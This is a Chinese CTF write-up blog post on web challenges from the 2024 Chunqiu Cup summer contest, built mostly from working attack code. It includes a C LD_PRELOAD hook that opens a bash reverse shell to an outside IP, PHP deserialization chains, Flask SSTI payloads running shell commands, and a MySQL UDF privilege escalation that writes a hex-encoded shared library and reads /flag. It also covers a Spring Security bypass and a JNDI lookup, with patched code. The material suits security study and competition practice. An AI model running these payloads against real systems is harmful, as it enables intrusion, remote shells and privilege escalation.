2024春秋杯网络安全联赛夏季赛

2024/7/5 CTF线上赛 SSTI CVE 提权 Spring JNDI

字数统计: 2.9k字 | 阅读时长: 15分 | 总文章阅读量：次

前言

个人名称：雲流

个人排名：68

签到题都做不来有点难绷

参考：

第一名的wp：https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486883&idx=1&sn=4a99836ee029141df32979be33b0a663

Web

Hijack

反序列化 + ld_preload劫持

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("cat /flag");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}
$c = $_POST['Harder'];
unserialize($c);

?>

一眼ld_preload

稍微审计一下，给了上传文件的地方，那么我们要做的就是劫持cat命令

上传文件的链子：ENV::__wakeup -> DIFF::__isset -> FUN::__get -> FILE::__call

准备一下so文件

劫持strncmp即可

hook_strncmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/115.236.153.177/30908 <&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

编译so文件并用base64输出

gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so 
base64 hook_strncmp.so -w 0 > 1.txt

构造payload：

<?php
class ENV{
    public $key;
    public $value;
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    private $flag;
}
class FILE{
    public $filename="1.so";
    public $enviroment;
}
class FUN{
    public $fun;
    public $value=file_get_contents("1.txt");
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
$a->math->callback->fun=new FILE();
echo urlencode(serialize($a));

得到文件路径：/tmp/29f91f211e3f3f46e167f664c28f6136.so

接下来触发ENV::__toString，用字符串与对象的弱比较触发

链子：ENV::__wakeup -> DIFF::__isset -> FILE::__get -> ENV::__toString

（so文件不一样是因为我个fw做超时了x）

<?php
class ENV{
    public $key="LD_PRELOAD";
    public $value="/tmp/1ce494339fd8f830fd8318acb4782917.so";
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    private $flag;
}
class FILE{
    public $filename;
    public $enviroment;
}
class FUN{
    public $fun;
    public $value;
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FILE();
$a->math->callback->enviroment=new ENV();
echo urlencode(serialize($a));

然而没弹出shell

可以用下面的payload看一下LD_PRELOAD当前的值：

O:3:"ENV":3:{s:3:"key";N;s:5:"value";N;s:4:"math";O:8:"stdClass":1:{s:4:"flag";i:1;}}

发现LD_PRELOAD是空的，看来是没写成

hint.txt的内容：RCE!!!!!!!?????? Try every possible means!!!!! Remote Code Execution!!!! THIS_IS_FAKE_CAT!!!!

说明这里不能直接劫持cat命令

那就考虑劫持系统新进程来绕过，测试发现好像不出网，那么直接写文件带外即可

hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
  unsetenv("LD_PRELOAD");
  system("ls / > /var/www/html/1.txt");
}

gcc -shared -fPIC hack.c -o evil.so -ldl
base64 evil.so -w 0 >1.txt

得到flag的位置：/flag_9e6244c7d4c5bd9cf815

故技重施即可得到flag

brother

flask ssti + udf提权

进去，直接给了个参数name，看了下框架是python的flask，那直接猜ssti

测了下发现没过滤，直接传payload弹shell

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

发现又弹不了，看来不出网

先读几个文件

源码

www.py

from flask import Flask, request, redirect, render_template_string

app = Flask(__name__)

@app.route('/')
def inedx():
    name = request.args.get("name","")
    if name == "":
        return redirect("/?name=hello")
    return render_template_string(name)

app.run("0.0.0.0", port=8080)

api.py

import mysql.connector, time, threading, socket
from flask import Flask, request

app = Flask(__name__)


def mysql_keepalive():
    config = {
        'user': 'ctf',
        'password': '123456',
        'host': '127.0.0.1',
        'database': 'mysql',
        'port': 6666,

    }
    try:
        db_connection = mysql.connector.connect(**config)
        cursor = db_connection.cursor()
    except mysql.connector.Error as err:
        print(err)
        exit(0)
    while True:
        try:
            cursor.execute("SELECT VERSION();")
            cursor.fetchone()
        except mysql.connector.Error as err:
            print(f"连接中断: {err}")
        time.sleep(10)


def handle_client_connection(client_socket):
    try:
        while True:
            client_socket.send('{"code":0, "path": ""}'.encode('utf-8'))
            time.sleep(10)
    except Exception as e:
        print(f"Error handling client: {e}")


def update_api():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = '0.0.0.0'
    port = 7777
    server_socket.bind((host, port))
    server_socket.listen(1)
    print(f"update_api Listening on port {port}...")
    while True:
        client_socket, addr = server_socket.accept()
        handle_client_connection(client_socket)


@app.route('/evil', methods=['POST'])
def evil():
    code = request.json['code']
    key = request.json['key']
    if key == open("./evil.key").read():
        exec(code)
        return "ok"
    else:
        return "key error"


if __name__ == '__main__':
    threading.Thread(target=mysql_keepalive).start()
    threading.Thread(target=update_api).start()
    app.run("127.0.0.1", 5000)

看起来是本地连接数据库的接口

update.py

import json
import socket
import tarfile

def extract_specific_file(tar_path, file_name, extract_path):
    with tarfile.open(tar_path, "r:gz") as tar:
        file_info = tar.getmember(file_name)
        tar.extract(file_info, path=extract_path)
        print("ok")

s = socket.socket()
s.connect(("127.0.0.1", 7777))
while True:
    data = s.recv(1024)
    try:
        js = json.loads(data)
        if js['code'] == 1:
            extract_specific_file(js['path'], 'new.bin', "/updatedir")
    except:
        s.send(b'Error')

还有evil.key和sql-proxy.jar

明显flag没权限读

那把这个jar包导到本地看看

Main.class

package com.ctf;

public class Main {
    public Main() {
    }

    public static void main(String[] args) throws Exception {
        Base64ClassLoader base64ClassLoader = new Base64ClassLoader();
        Class cls = base64ClassLoader.loadClassFromBase64("yv66vgAAADcArQoAIQBZCQAgAFoIAFsHAFwKAAQAXQoABABeCQBfAGAKAAoAYQoAYgBjBwBkCgAKAGUHAGYSAAAAawoADABsCgAMAG0SAAEAawcAbwoAEQBwBwBxCgAEAHIKABMAcwoACgB0CgAKAHUKAEwAdgoAIAB3CgBNAHIKAEwAcgoACgByCgBNAHgKAE0AeQoAIAB6BwB7BwB8AQABYwEAAUkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAMc291cmNlU29ja2V0AQARTGphdmEvbmV0L1NvY2tldDsBABFkZXN0aW5hdGlvblNvY2tldAEAE3NvdXJjZVRvRGVzdGluYXRpb24BABJMamF2YS9sYW5nL1RocmVhZDsBABNkZXN0aW5hdGlvblRvU291cmNlAQAFdmFyMTABABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR2YXI5AQAVTGphdmEvbGFuZy9UaHJvd2FibGU7AQAFdmFyMTEBAAxzZXJ2ZXJTb2NrZXQBABdMamF2YS9uZXQvU2VydmVyU29ja2V0OwEABXZhcjEyAQAEdGhpcwEAD0xjb20vY3RmL1Byb3h5OwEACnNvdXJjZVBvcnQBAA9kZXN0aW5hdGlvbkhvc3QBABJMamF2YS9sYW5nL1N0cmluZzsBAA9kZXN0aW5hdGlvblBvcnQBAA1TdGFja01hcFRhYmxlBwB9AQALZm9yd2FyZERhdGEBACUoTGphdmEvbmV0L1NvY2tldDtMamF2YS9uZXQvU29ja2V0OylWAQAGYnVmZmVyAQACW0IBAARyZWFkAQAEdmFyOAEADG91dHB1dFN0cmVhbQEAFkxqYXZhL2lvL091dHB1dFN0cmVhbTsBAAR2YXI3AQALaW5wdXRTdHJlYW0BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAtpbnB1dFNvY2tldAEADG91dHB1dFNvY2tldAcAfgcAfwcAQgEABHNlbmQBABwoTGphdmEvaW8vT3V0cHV0U3RyZWFtO1tCSSlWAQABbwEABGRhdGEBAApFeGNlcHRpb25zBwCAAQAMbGFtYmRhJG5ldyQxAQAMbGFtYmRhJG5ldyQwAQAKU291cmNlRmlsZQEAClByb3h5LmphdmEMACQAJQwAIgAjAQAJMTI3LjAuMC4xAQAVamF2YS9uZXQvU2VydmVyU29ja2V0DAAkAIEMAIIAgwcAhAwAhQCGDACHAIgHAIkMAIoAiwEAD2phdmEvbmV0L1NvY2tldAwAJACMAQAQamF2YS9sYW5nL1RocmVhZAEAEEJvb3RzdHJhcE1ldGhvZHMPBgCNEAAlDwcAjgwAjwCQDAAkAJEMAJIAJQ8HAJMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDACUACUBABNqYXZhL2xhbmcvVGhyb3dhYmxlDACVACUMAJYAlwwAmACZDACaAJsMAEMAnAwATwBQDACdAJ4MAJ8AJQwAPwBAAQANY29tL2N0Zi9Qcm94eQEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEABChJKVYBAAZhY2NlcHQBABMoKUxqYXZhL25ldC9Tb2NrZXQ7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAFmdldFJlbW90ZVNvY2tldEFkZHJlc3MBABooKUxqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgoAoAChCgAgAKIBAANydW4BAEcoTGNvbS9jdGYvUHJveHk7TGphdmEvbmV0L1NvY2tldDtMamF2YS9uZXQvU29ja2V0OylMamF2YS9sYW5nL1J1bm5hYmxlOwEAFyhMamF2YS9sYW5nL1J1bm5hYmxlOylWAQAFc3RhcnQKACAAowEAD3ByaW50U3RhY2tUcmFjZQEABWNsb3NlAQANYWRkU3VwcHJlc3NlZAEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsB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");
        cls.newInstance();
    }
}

base64里的代码：

package com.ctf;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;

public class Proxy {
    private int c = 0;

    public Proxy() {
        int sourcePort = 6666;
        String destinationHost = "127.0.0.1";
        short destinationPort = 3306;

        try {
            ServerSocket serverSocket = new ServerSocket(sourcePort);

            try {
                while(true) {
                    while(true) {
                        try {
                            Socket sourceSocket = serverSocket.accept();
                            System.out.println(sourceSocket.getRemoteSocketAddress());
                            Socket destinationSocket = new Socket(destinationHost, destinationPort);
                            Thread sourceToDestination = new Thread(() -> {
                                this.forwardData(sourceSocket, destinationSocket);
                            });
                            sourceToDestination.start();
                            Thread destinationToSource = new Thread(() -> {
                                this.forwardData(destinationSocket, sourceSocket);
                            });
                            destinationToSource.start();
                        } catch (Exception var10) {
                            var10.printStackTrace();
                        }
                    }
                }
            } catch (Throwable var11) {
                try {
                    serverSocket.close();
                } catch (Throwable var9) {
                    var11.addSuppressed(var9);
                }

                throw var11;
            }
        } catch (Exception var12) {
            var12.printStackTrace();
        }
    }

    private void forwardData(Socket inputSocket, Socket outputSocket) {
        try {
            InputStream inputStream = inputSocket.getInputStream();

            try {
                OutputStream outputStream = outputSocket.getOutputStream();

                try {
                    byte[] buffer = new byte[1024];

                    int read;
                    while((read = inputStream.read(buffer)) != -1) {
                        this.send(outputStream, buffer, read);
                    }
                } catch (Throwable var10) {
                    if (outputStream != null) {
                        try {
                            outputStream.close();
                        } catch (Throwable var9) {
                            var10.addSuppressed(var9);
                        }
                    }

                    throw var10;
                }

                if (outputStream != null) {
                    outputStream.close();
                }
            } catch (Throwable var11) {
                if (inputStream != null) {
                    try {
                        inputStream.close();
                    } catch (Throwable var8) {
                        var11.addSuppressed(var8);
                    }
                }

                throw var11;
            }

            if (inputStream != null) {
                inputStream.close();
            }
        } catch (Exception var12) {
            try {
                inputSocket.close();
                outputSocket.close();
            } catch (Exception var7) {
            }
        }

    }

    private void send(OutputStream o, byte[] data, int c) throws IOException {
        o.write(data, 0, c);
        o.flush();
    }
}

udf提权

那么我们先尝试连接一下数据库

{{config.__class__.__init__.__globals__['os'].popen("mysql -uctf -p'123456' -e 'show databases;'").read()}}

成功连接

接下来尝试udf提权

{{config.__class__.__init__.__globals__['os'].popen('mysql -uctf -p\'123456\' -e \'show variables like "%plugin%";\'').read()}}

路径在/usr/lib/mysql/plugin/

写入so文件

{{config.__class__.__init__.__globals__['os'].popen('mysql -uctf -p\'123456\' -e \'SELECT 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0000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE "/usr/lib/mysql/plugin/udf.so";\'').read()}}

然后

{{config.__class__.__init__.__globals__['os'].popen('mysql -uctf -p\'123456\' -e \'CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.so";\'').read()}}

于是提权

{{config.__class__.__init__.__globals__['os'].popen('mysql -uctf -p\'123456\' -e \'select sys_eval("cat /flag");\'').read()}}

得到flag

brother_revenge（Unsolved）

此题仅整合了他人的wp

前者打了补丁，mysql被降权且secure_file_priv为一个固定目录，因此无法直接 load_file 或者 into outfile 来读文件或者导出udf

结合前面拿到的环境文件进行分析

www.py：SSTI

sql-proxy.jar：代理3306到6666服务端
api.py：建立6666连接，每隔10秒执行一次select version();
api.py：起server_socket到7777，每隔10秒向连接的客户端发送一次{"code":0, "path": ""}
api.py：起Flask到5000，读evil.key，如果正确的话可exec任意python代码
update.py：访问7777端口，code=1则从path中获取gz文件，解压其中的new.bin到/updatedir

w0rdpress（Unsolved）

WordPress SQLite插件代码审计 + CVE-2016-10956 + CVE-2024-2961

参考：https://blog.kengwang.com.cn/archives/640/

复现环境：https://kengwang.lanzouo.com/icftJ23q0p2j

AWDP

simplegoods

judge.php下有文件上传的功能

文件位置在/tmp/data/1.png

接下来找可以include的点

$sql_query_goods = "SELECT * FROM `goods`";

foreach ($conn->query($sql_query_goods) as $row) {
    //echo var_dump($row);
    echo "<tr>";
    echo "<td><img class=card src=".$row['img']."></td>";
    echo "<td>".$row['name']."</td>";
    echo "<td>".$row['price']."</td>";
    echo "<td>";

    if (file_exists($row['content']) && is_file($row['content']) && substr($row['content'], -4) === '.txt' && $row['content'][0] === '/'){
        include $row['content'];
    }

那么我们需要控制content，发现这里的if条件要求后缀为txt，那么我们得重新上传一个txt

全局搜索，发现goods_api.php这里可以插入goods的数据

发现goods_description的值对应sql里面的content

那么直接传参

/goods_api.php?method=add&id=5&goods_name=b&goods_price=2&goods_description=/tmp/data/1.txt

接下来查询即可，由于judge.php那里有unlink($filename);会删掉我们上传的文件，这里要用到条件竞争

但是这个靶机访问太多的话还会返回503，nmd

FIX

直接修改market.php即可，去掉这里的文件包含

if (file_exists($row['content']) && is_file($row['content']) && substr($row['content'], -4) === '.txt' && $row['content'][0] === '/'){
    echo $row['content'];
}else{
    echo $row['content'];
}

ezSpring

代码量不大

AdminController.class

package com.example.ezspring.controller;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping({"/admin"})
public class AdminController {
    public AdminController() {
    }

    @RequestMapping({"/*"})
    public String admin() {
        return "admin";
    }

    @RequestMapping({"/lookup/*"})
    @ResponseBody
    public String lookup(@RequestParam(value = "url",required = false) String url) {
        if (url == null) {
            return "missing url parameter";
        } else {
            try {
                Context ctx = new InitialContext();
                Object result = ctx.lookup(url);
                return "Lookup successful: " + result;
            } catch (NamingException var4) {
                var4.printStackTrace();
                return "Lookup failed";
            }
        }
    }
}

IndexController.class

package com.example.ezspring.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping({"/"})
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "index";
    }
}

EzSpringApplication.class

package com.example.ezspring;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class EzSpringApplication {
    public EzSpringApplication() {
    }

    public static void main(String[] args) {
        SpringApplication.run(EzSpringApplication.class, args);
    }
}

SecurityConfig.class

package com.example.ezspring;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
import org.springframework.security.web.SecurityFilterChain;

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    public SecurityConfig() {
    }

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http.authorizeRequests((authorize) -> {
            ((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)authorize.regexMatchers(new String[]{"/admin/.*"})).authenticated().anyRequest()).permitAll();
        }).csrf().disable();
        return (SecurityFilterChain)http.build();
    }
}

很明显，第一步首先要绕过spring security的限制访问admin路由

看一下spring-security包的版本，5.6.2

直接用CVE-2022-22978绕过，访问/admin/lookup/%0a即可进入到lookup

然后看lookup的操作：

try {
    Context ctx = new InitialContext();
    Object result = ctx.lookup(url);
    return "Lookup successful: " + result;
}

一眼jndi，然后我不会打

反序列化就jackson，FactoryObject就BeanFactory
jackson1234都没打通，BeanFactory-EL也打不通。最后BeanFactory-yaml打成功了才明白是JDK17，修复了很多JNDI绕过的办法

FIX

直接让GPT-4o代工，然后自己打包

package com.example.ezspring.controller;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.regex.Pattern;
import java.util.Set;
import java.util.HashSet;

@Controller
@RequestMapping({"/admin"})
public class AdminController {
    private static final Pattern SAFE_URL_PATTERN = Pattern.compile("^[a-zA-Z0-9:/._-]+$");
    private static final Set<String> ALLOWED_URLS = new HashSet<>();

    static {
        // Populate the whitelist with allowed JNDI URLs
        ALLOWED_URLS.add("java:comp/env/jdbc/myDataSource");
        // Add other allowed URLs here
    }

    public AdminController() {
    }

    @RequestMapping({"/*"})
    public String admin() {
        return "admin";
    }

    @RequestMapping({"/lookup/*"})
    @ResponseBody
    public String lookup(@RequestParam(value = "url", required = false) String url) {
        if (url == null) {
            return "missing url parameter";
        }

        // Validate the URL input against the pattern
        if (!SAFE_URL_PATTERN.matcher(url).matches()) {
            return "Invalid URL format";
        }

        // Check if the URL is in the whitelist
        if (!ALLOWED_URLS.contains(url)) {
            return "URL not allowed";
        }

        try {
            Context ctx = new InitialContext();
            Object result = ctx.lookup(url);
            return "Lookup successful: " + result;
        } catch (NamingException ex) {
            ex.printStackTrace();
            return "Lookup failed";
        }
    }
}

目录

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